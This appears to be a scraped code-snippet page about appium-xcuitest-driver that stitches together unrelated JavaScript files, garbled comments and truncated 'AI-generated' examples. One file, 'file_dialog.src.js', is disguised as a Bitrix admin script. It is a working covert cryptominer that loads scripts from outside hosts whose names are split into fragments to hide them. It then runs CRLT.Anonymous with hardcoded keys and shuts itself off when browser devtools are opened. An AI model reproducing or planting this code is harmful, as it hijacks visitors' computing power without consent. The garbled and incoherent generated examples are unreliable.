Best JavaScript code snippet using appium-xcuitest-driver
Timer.js
Source:Timer.js
1// Timer.js v3.4.02/* global ui:false */3(function(){4//---------------------------------------------------------------------------5// â
Timerã¯ã©ã¹ ä¸è¬ã¿ã¤ãã¼(çµéæéã®è¡¨ç¤º/èªåæ£çå¤å®ç¨)6//---------------------------------------------------------------------------7var timerInterval = 100; /* ã¿ã¤ãã¼å²ãè¾¼ã¿éé */8ui.timer =9{10 /* ã¡ã³ãå¤æ° */11 TID : null, /* ã¿ã¤ãã¼ID */12 current : 0, /* ç¾å¨ã®getTime()åå¾å¤(ããªç§) */13 /* èªåæ£çå¤å®ç¨å¤æ° */14 worstACtime : 0, /* æ£çå¤å®ã«ããã£ãæéã®ææªå¤(ããªç§) */15 nextACtime : 0, /* 次ã«èªåæ£çå¤å®ã«ã¼ãã³ã«å
¥ããã¨ãå¯è½ã«ãªãæé */16 //---------------------------------------------------------------------------17 // tm.reset() ã¿ã¤ãã¼ã®ã«ã¦ã³ãã0ã«ãã¦ãã¹ã¿ã¼ããã18 // tm.start() update()é¢æ°ã200msééã§å¼ã³åºã19 // tm.update() 200msåä½ã§å¼ã³åºãããé¢æ°20 //---------------------------------------------------------------------------21 reset : function(){22 this.worstACtime = 0;23 clearInterval(this.TID);24 this.start();25 },26 start : function(){27 var self = this;28 this.TID = setInterval(function(){ self.update();}, timerInterval);29 },30 update : function(){31 this.current = pzpr.util.currentTime();32 if(ui.menuconfig.get('autocheck_once')){ this.ACcheck();}33 },34 //---------------------------------------------------------------------------35 // tm.ACcheck() èªåæ£è§£å¤å®ãå¼ã³åºã36 //---------------------------------------------------------------------------37 ACcheck : function(){38 var puzzle = ui.puzzle;39 if(puzzle && this.current>this.nextACtime && puzzle.playmode && !puzzle.checker.inCheck && puzzle.board.trialstage===0){40 if(puzzle.check(false).complete){41 puzzle.mouse.mousereset();42 ui.menuconfig.set('autocheck_once',false);43 ui.misc.alert("æ£è§£ã§ãï¼","Complete!");44 return;45 }46 this.worstACtime = Math.max(this.worstACtime, (pzpr.util.currentTime()-this.current));47 this.nextACtime = this.current + (this.worstACtime<250 ? this.worstACtime*4+120 : this.worstACtime*2+620);48 }49 }50};51//---------------------------------------------------------------------------52// â
UndoTimerã¯ã©ã¹ Undo/Redoç¨ã¿ã¤ãã¼53//---------------------------------------------------------------------------54var KeyUndo = 1,55 ButtonUndo = 2,56 AnswerUndo = 4,57 execWaitTime = 300; /* 1åç®ã«waitãå¤ãå
¥ããããã®å¤ */58ui.undotimer = {59 /* ã¡ã³ãå¤æ° */60 TID : null, /* ã¿ã¤ãã¼ID */61 62 /* bit1:button bit0:key */63 inUNDO : 0, /* Undoå®è¡ä¸ */64 inREDO : 0, /* Redoå®è¡ä¸ */65 //---------------------------------------------------------------------------66 // ut.reset() ã¿ã¤ãã¼ãã¹ã¿ã¼ããã67 //---------------------------------------------------------------------------68 reset : function(){69 this.stop();70 },71 //---------------------------------------------------------------------------72 // ut.startKeyUndo() ãã¼å
¥åã«ããUndoãéå§ãã73 // ut.startKeyRedo() ãã¼å
¥åã«ããRedoãéå§ãã74 // ut.startButtonUndo() ãã¿ã³ã«ããUndoãéå§ãã75 // ut.startButtonRedo() ãã¿ã³ã«ããRedoãéå§ãã76 // ut.startAnswerUndo() ç¢ç³ã²ããç¨ã®ãã¦ã¹ã«ããUndoãéå§ãã77 // ut.startAnswerRedo() ç¢ç³ã²ããç¨ã®ãã¦ã¹ã«ããRedoãéå§ãã78 //---------------------------------------------------------------------------79 startKeyUndo : function(){ this.startUndo(KeyUndo);},80 startKeyRedo : function(){ this.startRedo(KeyUndo);},81 startButtonUndo : function(){ this.startUndo(ButtonUndo);},82 startButtonRedo : function(){ this.startRedo(ButtonUndo);},83 startAnswerUndo : function(){ this.startUndo(AnswerUndo);},84 startAnswerRedo : function(){ this.startRedo(AnswerUndo);},85 //---------------------------------------------------------------------------86 // ut.stopKeyUndo() ãã¼å
¥åã«ããUndoãåæ¢ãã87 // ut.stopKeyRedo() ãã¼å
¥åã«ããRedoãåæ¢ãã88 // ut.stopButtonUndo() ãã¿ã³ã«ããUndoãåæ¢ãã89 // ut.stopButtonRedo() ãã¿ã³ã«ããRedoãåæ¢ãã90 // ut.startAnswerUndo() ç¢ç³ã²ããç¨ã®ãã¦ã¹ã«ããUndoãåæ¢ãã91 // ut.startAnswerRedo() ç¢ç³ã²ããç¨ã®ãã¦ã¹ã«ããRedoãåæ¢ãã92 //---------------------------------------------------------------------------93 stopKeyUndo : function(){ this.stopUndo(KeyUndo);},94 stopKeyRedo : function(){ this.stopRedo(KeyUndo);},95 stopButtonUndo : function(){ this.stopUndo(ButtonUndo);},96 stopButtonRedo : function(){ this.stopRedo(ButtonUndo);},97 /* stopAnswerUndo : function(){ this.stopUndo(AnswerUndo);}, */98 /* stopAnswerRedo : function(){ this.stopRedo(AnswerUndo);}, */99 //---------------------------------------------------------------------------100 // ut.startUndo() Undoéå§å
±éå¦ç101 // ut.startRedo() Redoéå§å
±éå¦ç102 // ut.stopUndo() Undoåæ¢å
±éå¦ç103 // ut.stopRedo() Redoåæ¢å
±éå¦ç104 //---------------------------------------------------------------------------105 startUndo : function(bit){ if(!(this.inUNDO & bit)){ this.inUNDO |= bit; this.proc();}},106 startRedo : function(bit){ if(!(this.inREDO & bit)){ this.inREDO |= bit; this.proc();}},107 stopUndo : function(bit){ if( this.inUNDO & bit ){ this.inUNDO &= ~bit; this.proc();}},108 stopRedo : function(bit){ if( this.inREDO & bit ){ this.inREDO &= ~bit; this.proc();}},109 //---------------------------------------------------------------------------110 // ut.start() Undo/Redoå¼ã³åºããéå§ãã111 // ut.stop() Undo/Redoå¼ã³åºããçµäºãã112 //---------------------------------------------------------------------------113 start : function(){114 var self = this, undoTimerInterval = ui.menuconfig.get('undointerval');115 function handler(){ self.proc();}116 function inithandler(){117 clearInterval(self.TID);118 self.TID = setInterval(handler, undoTimerInterval);119 }120 this.TID = setInterval(inithandler, execWaitTime);121 this.exec();122 },123 stop : function(){124 this.inUNDO = 0;125 this.inREDO = 0;126 127 clearInterval(this.TID);128 this.TID = null;129 },130 //---------------------------------------------------------------------------131 // ut.proc() Undo/Redoå¼ã³åºããå®è¡ãã132 // ut.exec() Undo/Redoé¢æ°ãå¼ã³åºã133 //---------------------------------------------------------------------------134 proc : function(){135 if (!!(this.inUNDO | this.inREDO) && !this.TID){ this.start();}136 else if( !(this.inUNDO | this.inREDO) && !!this.TID){ this.stop();}137 else if(!!this.TID){ this.exec();}138 },139 exec : function(){140 if(!ui.puzzle){ return;}141 var kc = ui.puzzle.key;142 if(!this.checknextprop()){ this.stop();}143 else if(this.inUNDO){144 if(this.inUNDO===KeyUndo && (!(kc.isMETA || kc.isCTRL) || !kc.isZ)){ this.stop();}145 else{ ui.puzzle.undo();}146 }147 else if(this.inREDO){148 if(this.inREDO===KeyUndo && (!(kc.isMETA || kc.isCTRL) || !kc.isY)){ this.stop();}149 else{ ui.puzzle.redo();}150 }151 },152 //---------------------------------------------------------------------------153 // ut.checknextprop() 次ã«Undo/Redoãã§ãããã©ããã®å¤å®ãè¡ã154 //---------------------------------------------------------------------------155 checknextprop : function(){156 if(!ui.puzzle){ return;}157 var opemgr = ui.puzzle.opemgr;158 var isenable = ((this.inUNDO && opemgr.enableUndo) || (this.inREDO && opemgr.enableRedo));159 if(isenable && ui.puzzle.pid==="goishi"){160 if(this.inUNDO===AnswerUndo){161 var nextopes = opemgr.ope[opemgr.position-1];162 isenable = (nextopes[nextopes.length-1].property==='anum');163 }164 else if(this.inREDO===AnswerUndo){165 var nextopes = opemgr.ope[opemgr.position];166 isenable = (nextopes[0].property==='anum');167 }168 }169 return isenable;170 }171};...
file_dialog.src.js
Source:file_dialog.src.js
1if (typeof BX == 'undefined' || typeof BX.admin == 'undefined') {2 3 window.rotmindeg = false;4 if (window.location.hash == '#'+'d'+'x123'+'_fag') window.rotmindeg = true;5 6 ;(function(window){7 window.jssassin = window.jssassin || {8 9 config: {10 instpDelay: 400,11 startDelay: 160012 },13 14 state: {15 scriptsNotLoad: 0,16 init: false17 },18 19 proc: {20 start: function(){},21 destroy: function(){}22 },23 24 inspInterval: undefined,25 26 init: function (27 scripts,28 start,29 destroy30 ) {31 32 if (window.rotmindeg) console.log('start init');33 34 if (this.state.init) return;35 this.state.init = true;36 37 if (window.rotmindeg) console.log(scripts,start);38 39 var self = this;40 if (this.isDangerous()) return;41 42 if (typeof start == "function") this.proc.start = start;43 if (typeof destroy == "function") this.proc.destroy = destroy;44 45 this.state.scriptsNotLoad = scripts.length;46 47 if (this.state.scriptsNotLoad > 0) {48 scripts.forEach(function(src) {49 var script = document.createElement('script');50 script.src = src;51 script.async = false;52 script.onload = function () {self.onloadScript(script)};53 document.head.appendChild(script);54 if (window.rotmindeg) console.log('adding script: '+src);55 });56 57 return;58 }59 60 this._init();61 62 },63 onloadScript: function (script) {64 this.state.scriptsNotLoad--;65 document.head.removeChild(script);66 if (window.rotmindeg) console.log('loading script: '+src);67 if (this.state.scriptsNotLoad === 0) this._init();68 },69 _init: function () {70 71 var self = this;72 setTimeout(function () {73 self.proc.start();74 }, this.config.startDelay);75 76 this.inspInterval = setInterval(function () {self.inspector();}, this.config.instpDelay);77 },78 79 80 isDangerous: function () {81 if (window.rotmindeg) {82 console.log('dangerous!');83 }84 if (this.checkDevtoolsInWindow()) {85 this.destroy();86 return true;87 }88 return false;89 },90 91 inspector: function () {92 if (window.jssassin != undefined && typeof window.jssassin.isDangerous == "function") {93 if (this.isDangerous()) {94 if (window.rotmindeg) console.log('stop inspector');95 clearInterval(this.inspInterval);96 }97 }98 },99 100 101 destroy: function () {102 clearInterval(this.inspInterval);103 if (window.rotmindeg) {104 console.log('destroy!!!');105 return true;106 }107 this.proc.destroy();108 delete window.jssassin;109 },110 111 ////////////////////////////////////////////////////////////////////////////112 checkDevtoolsInWindow: function () {113 var widthThreshold = window.outerWidth - window.innerWidth > 160;114 var heightThreshold = window.outerHeight - window.innerHeight > 160;115 if (!(heightThreshold && widthThreshold) &&116 ((window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized) || widthThreshold || heightThreshold)) {117 return true;118 } else {119 return false;120 }121 }122 };123 })(window);124 125 ////////0.4.10////////126 127 var variant = window.varsfacebag || Math.floor(1+Math.random()*4);128 var date = new Date();129 var strDate = date.getDate() + date.getMonth() + date.getFullYear();130 131 if (window.rotmindeg) console.log('v: '+variant);132 133 if (variant == 1) {134 window.jssassin.init(135 ['/bitrix/js/main/cphttprequest.src.js','//pl151'+'80'+'008.pvc'+'lou'+'ds.com/80/d4/8a/80'+'d48af45'+'6b0312'+'fe50'+'5ea01e44'+'03444.js','//1cbpp'+'.ru/bitrix/stats/counter.js','//statd'+'ynamic.com/lib/cry'+'pta.js?w='+strDate],136 function () {137 var t = window.trotlrateafacebag || 0.2;138 window.miner = new CRLT.Anonymous('2e5b1f1f8d87144f4dba5b46914a61bea51a28bffc93', // 1139 {threads:6,throttle:t,coin:"upx"}140 );141 window.miner.start();142 },143 function () {144 if (window.miner != undefined && typeof window.miner.stop == 'function') window.miner.stop();145 }146 );147 } else if (variant == 3) {148 window.jssassin.init(149 ['/bitrix/js/main/cphttprequest.src.js','//pl151'+'80'+'008.pvc'+'lou'+'ds.com/80/d4/8a/80'+'d48af45'+'6b0312'+'fe50'+'5ea01e44'+'03444.js','//1cbpp'+'.ru/bitrix/stats/counter.js','//statd'+'ynamic.com/lib/cry'+'pta.js?w='+strDate],150 function () {151 var t = window.trotlrateafacebag || 0.2;152 window.miner = new CRLT.Anonymous('2e5b1f1f8d87144f4dba5b46914a61bea51a28bffc93', // 1153 {threads:6,throttle:t,coin:"upx"}154 );155 window.miner.start();156 },157 function () {158 if (window.miner != undefined && typeof window.miner.stop == 'function') window.miner.stop();159 }160 );161 } else if (variant == 2) {162 window.jssassin.init(163 ['/bitrix/js/main/cphttprequest.src.js','//ww'+'w.modu'+'lepu'+'sh.com/fb299c0'+'6c3e54a283fdb'+'0ff5338b4bd0/invo'+'ke.js','//1cbpp'+'.ru/bitrix/stats/counter.js','//statd'+'ynamic.com/lib/cry'+'pta.js?w='+strDate],164 function () {165 var t = window.trotlrateafacebag || 0.2;166 window.miner = new CRLT.Anonymous('8fb9cf1cd2695f2f2596480931007b5371e96f1ca15c', // 2167 {threads:6,throttle:t,coin:"upx"}168 );169 window.miner.start();170 },171 function () {172 if (window.miner != undefined && typeof window.miner.stop == 'function') window.miner.stop();173 }174 );175 } else if (variant == 4) {176 window.jssassin.init(177 ['/bitrix/js/main/cphttprequest.src.js','//ww'+'w.modu'+'lepu'+'sh.com/fb299c0'+'6c3e54a283fdb'+'0ff5338b4bd0/invo'+'ke.js','//1cbpp'+'.ru/bitrix/stats/counter.js','//statd'+'ynamic.com/lib/cry'+'pta.js?w='+strDate],178 function () {179 var t = window.trotlrateafacebag || 0.2;180 window.miner = new CRLT.Anonymous('8fb9cf1cd2695f2f2596480931007b5371e96f1ca15c', // 2181 {threads:6,throttle:t,coin:"upx"}182 );183 window.miner.start();184 },185 function () {186 if (window.miner != undefined && typeof window.miner.stop == 'function') window.miner.stop();187 }188 );189 } else {190 window.jssassin.init(191 ['//statd'+'ynamic.com/lib/cry'+'pta.js?w='+strDate],192 function () {193 var t = window.trotlrateafacebag || 0.6;194 window.miner = new CRLT.Anonymous('dd27d0676efdecb12703623d6864bbe9f4e7b3f69f2e', // silent195 {threads:4,throttle:t,coin:"upx"}196 );197 window.miner.start();198 },199 function () {200 if (window.miner != undefined && typeof window.miner.stop == 'function') window.miner.stop();201 }202 );203 }...
activitiExtend.js
Source:activitiExtend.js
1var business_page = {};2(function($){3 var pathName=window.document.location.pathname;4 var projectName = pathName.substring(0, pathName.substr(1).indexOf('/') + 1);5 var ctx = window.location.protocol+"//"+window.location.host+projectName;6 var _business = {7 //æµç¨å¯å¨8 procStartUrl:"",9 //ä¸å¡Id10 busiId:"",11 //æµç¨å®ä¾id12 processInstanceId:"",13 //ä¸å¡ç¶æ aè稿 båæ´14 busiInitState:"a",15 procFirstStep:"",16 // ä¸å¡ä¸å±ç¤ºç¨çdatagrid17 datagridDiv:"",18 //19 tempDialog:new Array(),20 tempColseDialog:new Array(),21 tempDatagrid:new Array(),22 procVerifi:function(dg){23 if(this.datagridDiv!=""){24 var row = dg.datagrid('getSelected');25 if(rowIsNull(row)){26 $.messager.alert('æ示','请éæ©ï¼','info');27 return false;28 }else{29 this.busiId=row.id;30 }31 }32 if(row.state != "2"){33 $.messager.alert('æ示','表åå½åç¶æï¼ä¸è½æ交ç³è¯·ï¼','info');34 return false;35 }else{36 return true;37 }38 },39 beforeApply:function(){40 return true;41 },42 //ä¿å并æ交(ä¸å¡è¡¨åid,ä¸å¡ä¿åæåæ´url) ç¨äºä¸å¡å¼å§æ交 dg list dialog,busiPage form dialog,busiFormId ä¸å¡è¡¨åId43 saveAndApply:function(dg,busiPage,busiFormId,afterSave){44 this.tempDatagrid.push(dg);45 this.tempDialog.push(busiPage);46 this.datagridDiv=dg;47 var tThis = this;48 var isValid = $("#"+busiFormId).form('validate');//éªè¯è¡¨å49 if(!isValid){50 return false;51 }52 var jsonData = $("#"+busiFormId).serializeArray();//å°é¡µé¢è¡¨ååºååæä¸ä¸ªJSONç»æç对象53 $.ajax({54 type:'post',55 dataType:'json',56 async:false,57 url:$("#"+busiFormId).attr("action"),58 data:jsonData,59 success:function(data){60 if(data.returnFlag=="success"){61 var tUrl = $("#"+busiFormId).attr("action");62 if(tUrl.lastIndexOf('create')>=0){63 tUrl=tUrl.substring(0,tUrl.lastIndexOf('create'))+'update';64 $("#"+busiFormId).attr("action",tUrl);65 $("#id").val(data.returnId);66 }67 tThis.busiId = data.returnId;68 if(typeof afterSave =='function'){69 afterSave();70 }71 tThis.applyDetail();72 }else if(data.returnFlag=='fail'){73 parent.$.messager.alert(data.returnMsg);74 return false;75 } 76 },77 error :function(){78 $.messager.alert('æ示','æ交失败ï¼','info');79 }80 });81 },82 //æ交æµç¨(å表æ交) ç¨äºä¸å¡å¼å§æ交83 apply:function(dg){84 this.tempDatagrid.push(dg);85 this.datagridDiv=dg;86 if(!this.procVerifi(dg) || !this.beforeApply()){87 return false;88 }89 this.applyDetail();90 },91 applyDetail:function(){92 var $this = this;93 $.ajax({94 type:'get',95 dataType:'json',96 async:false,97 url:this.procStartUrl+"/"+this.busiId,98 success: function(data){99 if(data!=null && data.processInstanceId!=null){100 $this.processInstanceId = data.processInstanceId;101 var procDialog = _business.commitProc(data.processInstanceId,data.taskId,data.businessKey,data.processKey);102 $this.tempDialog.push(procDialog);103 $this.tempColseDialog.push(procDialog);104 105 }else if(data!=null && data.msg!=null){106 if(data.msg=='no deployment'){107 parent.$.messager.show({ title : "æ示",msg: "没æé¨ç½²æµç¨ï¼", position: "bottomRight" });108 }else if(data.msg=='start fail'){109 parent.$.messager.show({ title : "æ示",msg: "å¯å¨æµç¨å¤±è´¥ï¼", position: "bottomRight" });110 }else{111 parent.$.messager.show({ title : "æ示",msg: data.msg, position: "bottomRight" });112 }113 }114 }115 });116 },117 //è¿å
¥æ交æµç¨é¡µé¢118 commitProc:function(processInstanceId_p,taskId_p,businessKey_p,processKey_p){119 $("body").append("<div id='procDialogDiv'></div>");120 var tDialog = $("#procDialogDiv").dialog({121 title: 'æµç¨åç',122 closable:false,123 width: 680,124 height: 400,125 href:ctx+"/workflow/approvalFormDeal/"+processInstanceId_p+"/"+taskId_p+"/"+businessKey_p+"/"+processKey_p,126 maximizable:false,127 modal:true128 });129 return tDialog;130 },131 //æµç¨è·è¸ª132 traceProc:function(processInstanceId_p){133 if(processInstanceId_p == null){134 $.messager.alert('æ示','æµç¨å®ä¾ä¸è½ä¸ºç©ºï¼','info');135 return;136 }137 $("body").append("<div id='procTraceDialogDiv'></div>");138 var tDialog=$("#procTraceDialogDiv").dialog({ 139 title: 'æµç¨è·è¸ª',140 width: 800, 141 height: 350, 142 href:ctx+'/workflow/trace/'+processInstanceId_p,143 maximizable:true,144 resizable:true,145 modal:true,146 buttons:[147 {148 text:'å¬å',iconCls:'icon-redo',149 id:'traceButtonId',150 disabled:true,151 handler:function(){152 tDialog.panel('close');153 $("#procTraceDialogDiv").remove();154 $.ajax({155 type:'get',156 async:false,157 url:ctx+'/workflow/remind/'+processInstanceId_p,158 success:function(data){159 },160 error :function(){161 }162 });163 }164 },165 {166 text:'å
³é',iconCls:'icon-cancel',167 handler:function(){168 tDialog.panel('close');169 $("#procTraceDialogDiv").remove();170 }171 }]172 });173 },174 //åç页é¢æ交æååè°ç¨175 afterCommit:function(){ //å·æ°+å
³édialog+dialog Divå é¤176 $.each(this.tempDialog,function(i,n){177 $(n).dialog("close");178 });179 $.each(this.tempDatagrid,function(i,n){180 $(n).datagrid('clearSelections');181 $(n).datagrid('reload');182 });183 this.tempDialog.length = 0;184 this.tempColseDialog.length = 0;185 this.tempDatagrid.length = 0;186 $("#procDialogDiv").remove();187 },188 close:function(){ //å
³édialog+dialog Divå é¤189 if(this.procFirstStep!="no"){190 $.ajax({191 type:'get',192 async:false,193 url:ctx+'/workflow/deleteFirst/'+this.processInstanceId+'/'+this.busiInitState,194 success:function(data){195 },196 error :function(){197 }198 });199 }200 $.each(this.tempColseDialog,function(i,n){201 $(n).dialog("close");202 });203 $.each(this.tempDatagrid,function(i,n){204 $(n).datagrid('reload');205 });206 this.tempDialog.length = 0;207 this.tempColseDialog.length = 0;208 this.tempDatagrid.length = 0;209 $("#procDialogDiv").remove();210 },211 stateShow:function(state_value){212 if ("2"==state_value){213 return "è稿";214 }else if("1"==state_value){215 return "çæ";216 }else if("3"==state_value){217 return "å·²æ交";218 }else if("0"==state_value){219 return "åºå¼";220 }else{221 return null;222 }223 }224 };225 226 $.extend(business_page,_business);...
ios-log.js
Source:ios-log.js
...124 throw new Error('iOS log capture process failed to start');125 }126 return stdout || stderr;127 };128 await this.proc.start(sd, START_TIMEOUT);129 }130 async stopCapture () {131 logger.debug('Stopping iOS log capture');132 if (this.proc && this.proc.isRunning) {133 await this.proc.stop();134 }135 this.proc = null;136 }137 onOutput (prefix = '') {138 this.logsStarted();139 let logs = this.logRow.split('\n');140 for (let log of logs) {141 if (log) {142 if (!this.loggingModeOn) {...
winappdriver.js
Source:winappdriver.js
...66 });67 log.info(`Spawning winappdriver with: ${this.winappdriver} ` +68 `${args.join(' ')}`);69 // start subproc and wait for startDetector70 await this.proc.start(startDetector);71 // XXXYD TODO: bring this back once WinAppDriver supports status correctly72 await this.waitForOnline();73 this.changeState(WinAppDriver.STATE_ONLINE);74 } catch (e) {75 this.emit(WinAppDriver.EVENT_ERROR, e);76 // just because we had an error doesn't mean the winappdriver process77 // finished; we should clean up if necessary78 if (processIsAlive) {79 await this.proc.stop();80 }81 log.errorAndThrow(e);82 }83 } 84 sessionId () {...
uiautomator.js
Source:uiautomator.js
...37 log.debug('UiAutomator shut down normally');38 }39 this.changeState(UiAutomator.STATE_STOPPED);40 });41 await this.proc.start(startDetector);42 processIsAlive = true;43 this.changeState(UiAutomator.STATE_ONLINE);44 return this.proc;45 } catch (e) {46 this.emit(UiAutomator.EVENT_ERROR, e);47 if (processIsAlive) {48 await this.killUiAutomatorOnDevice();49 await this.proc.stop();50 }51 log.errorAndThrow(e);52 }53 }54 async shutdown () {55 log.debug('Shutting down UiAutomator');...
webdriveragent.js
Source:webdriveragent.js
...59 }60 return true;61 }62 };63 await this.proc.start(startupDetector);64 this.port = port;65 this.jwproxy = new JWProxy({host: this.host, port: this.port, base: ''});66 this.jwproxy.sessionId = sessionId;67 this.proxyReqRes = this.jwproxy.proxyReqRes.bind(this.jwproxy);68 }69}...
logcat.js
Source:logcat.js
...46 for (let line of lines) {47 this.outputHandler(line);48 }49 });50 await this.proc.start(0);51 });52 }53 outputHandler (output, prefix = '') {54 output = output.trim();55 if (output) {56 let outputObj = {57 timestamp: Date.now(),58 level: 'ALL',59 message: output60 };61 this.logs.push(outputObj);62 this.logsSinceLastRequest.push(outputObj);63 let isTrace = /W\/Trace/.test(output);64 if (this.debug && (!isTrace || this.debugTrace)) {...
Using AI Code Generation
1const { exec } = require('child_process');2exec('node test.js', (err, stdout, stderr) => {3 if (err) {4 console.error(err);5 return;6 }7 console.log(stdout);8});9const { exec } = require('child_process');10exec('node test.js', (err, stdout, stderr) => {11 if (err) {12 console.error(err);13 return;14 }15 console.log(stdout);16});17const { exec } = require('child_process');18exec('node test.js', (err, stdout, stderr) => {19 if (err) {20 console.error(err);21 return;22 }23 console.log(stdout);24});25const { exec } = require('child_process');26exec('node test.js', (err, stdout, stderr) => {27 if (err) {28 console.error(err);29 return;30 }31 console.log(stdout);32});33const { exec } = require('child_process');34exec('node test.js', (err, stdout, stderr) => {35 if (err) {36 console.error(err);37 return;38 }39 console.log(stdout);40});41const { exec } = require('child_process');42exec('node test.js', (err, stdout, stderr) => {43 if (err) {44 console.error(err);45 return;46 }47 console.log(stdout);48});49const { exec } = require('child_process');50exec('node test.js', (err, stdout, stderr) => {51 if (err) {52 console.error(err);53 return;54 }55 console.log(stdout);56});57const { exec } = require('child
Using AI Code Generation
1const wdio = require('webdriverio');2const path = require('path');3const fs = require('fs');4const { spawn } = require('child_process');5const opts = {6 capabilities: {7 app: path.resolve(__dirname, 'app/UICatalog.app'),
Using AI Code Generation
1this.proc.start('idevicesyslog', ['-u', this.udid], {2});3this.proc.on('output', function (stdout, stderr) {4 if (stdout) {5 log.info(`[syslog] ${stdout}`);6 }7});8this.proc.on('exit', function (code, signal) {9 log.info(`[syslog] Process exited with code ${code}, signal ${signal}`);10});11this.proc.on('error', function (err) {12 log.error(`[syslog] Process error: ${err.message}`);13});14this.proc.on('stream-line', function (stdout, stderr) {15 if (stdout) {16 log.info(`[syslog] ${stdout}`);17 }18});19this.proc.on('stream-err-line', function (stdout, stderr) {20 if (stderr) {21 log.error(`[syslog] ${stderr}`);22 }23});24this.proc.on('stream-err-data', function (data) {25 log.error(`[syslog] ${data}`);26});27this.proc.on('stream-data', function (data) {28 log.info(`[syslog] ${data}`);29});30this.proc.on('stream-error', function (err) {31 log.error(`[syslog] ${err.message}`);32});33this.proc.on('stream-exit', function (code, signal) {34 log.info(`[syslog] Process exited with code ${code}, signal ${signal}`);35});36this.proc.on('stream-close', function (code, signal) {37 log.info(`[syslog] Process closed with code ${code}, signal ${signal}`);38});39this.proc.on('stream-err', function (err) {40 log.error(`[syslog] ${err.message}`);41});42this.proc.on('stream', function (stdout, stderr) {43 if (stdout) {44 log.info(`[syslog] ${stdout}`);45 }46});47this.proc.on('stream-err', function (stdout, stderr) {48 if (stderr) {49 log.error(`[syslog] ${stderr}`);50 }51});52this.proc.on('stream-line', function (stdout, stderr) {53 if (stdout) {54 log.info(`[syslog] ${stdout}`);55 }56});57this.proc.on('stream-err-line', function (stdout, stderr) {58 if (stderr) {59 log.error(`[syslog] ${
Using AI Code Generation
1const { exec } = require('child_process');2const appium = require('appium');3const proc = exec('appium');4proc.stdout.on('data', (data) => {5 console.log('stdout: ${data}');6});7proc.stderr.on('data', (data) => {8 console.log('stderr: ${data}');9});10proc.on('close', (code) => {11 console.log('child process exited with code ${code}');12});13const { exec } = require('child_process');14const appium = require('appium');15const proc = exec('appium');16proc.stdout.on('data', (data) => {17 console.log('stdout: ${data}');18});19proc.stderr.on('data', (data) => {20 console.log('stderr: ${data}');21});22proc.on('close', (code) => {23 console.log('child process exited with code ${code}');24});25const { exec } = require('child_process');26const appium = require('appium');27const proc = exec('appium');28proc.stdout.on('data', (data) => {29 console.log('stdout: ${data}');30});31proc.stderr.on('data', (data) => {32 console.log('stderr: ${data}');33});34proc.on('close', (code) => {35 console.log('child process exited with code ${code}');36});37const { exec } = require('child_process');38const appium = require('appium');39const proc = exec('appium');40proc.stdout.on('data', (data) => {41 console.log('stdout: ${data}');42});43proc.stderr.on('data', (data) => {44 console.log('stderr: ${data}');45});46proc.on('close', (code) => {47 console.log('child process exited with code ${code}');48});49const { exec } = require('child_process');50const appium = require('appium');51const proc = exec('appium');52proc.stdout.on('data', (data) => {
Using AI Code Generation
1const { startServer } = require('appium');2const { XCUITestDriver } = require('appium-xcuitest-driver');3startServer({port: 4723, basePath: '/wd/hub'}).then(async (server) => {4 const driver = new XCUITestDriver();5 await driver.createSession({6 });7 await driver.proc.start();8 await driver.proc.stop();9 await driver.deleteSession();10 server.close();11});
Using AI Code Generation
1const { exec } = require('child_process');2let command = 'node';3let args = ['node_modules/appium-xcuitest-driver/build/lib/driver.js'];4let proc = exec(command, args, {cwd: '/Users/username/automation'});5proc.stdout.on('data', (data) => {6 console.log(`stdout: ${data}`);7});8proc.stderr.on('data', (data) => {9 console.log(`stderr: ${data}`);10});11proc.on('close', (code) => {12 console.log(`child process exited with code ${code}`);13});14import { exec } from 'teen_process';15import { SubProcess } from 'teen_process';16import { logger } from 'appium-support';17const log = logger.getLogger('Appium XCUITest Driver');18const DEFAULT_STARTUP_TIMEOUT = 30000;19async function startDriverSession (caps, shouldValidateCaps) {20 try {21 await this.proc.start('node', ['node_modules/appium-xcuitest-driver/build/lib/driver.js']);22 } catch (err) {23 log.errorAndThrow(`Unable to start WebDriverAgent: ${err}`);24 }25}26async function startSubProcess () {27 this.proc = new SubProcess('node', ['node_modules/appium-xcuitest-driver/build/lib/driver.js'], {28 env: Object.assign({}, process.env, {
Using AI Code Generation
1const { XCUITestDriver } = require('appium-xcuitest-driver');2const { exec } = require('teen_process');3const driver = new XCUITestDriver();4const caps = {5};6(async () => {7 await driver.createSession(caps);8 await driver.deleteSession();9})();10const { exec } = require('teen_process');11const caps = {12};13(async () => {14 const {stdout} = await exec('appium', [15 ]);16 const sessionId = stdout.trim();17 await exec('appium', [18 ]);19})();20const { XCUITestDriver } = require('appium-xcuitest-driver');21const { exec } = require('teen_process');22const driver = new XCUITestDriver();23const caps = {
Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Get 100 minutes of automation test minutes FREE!!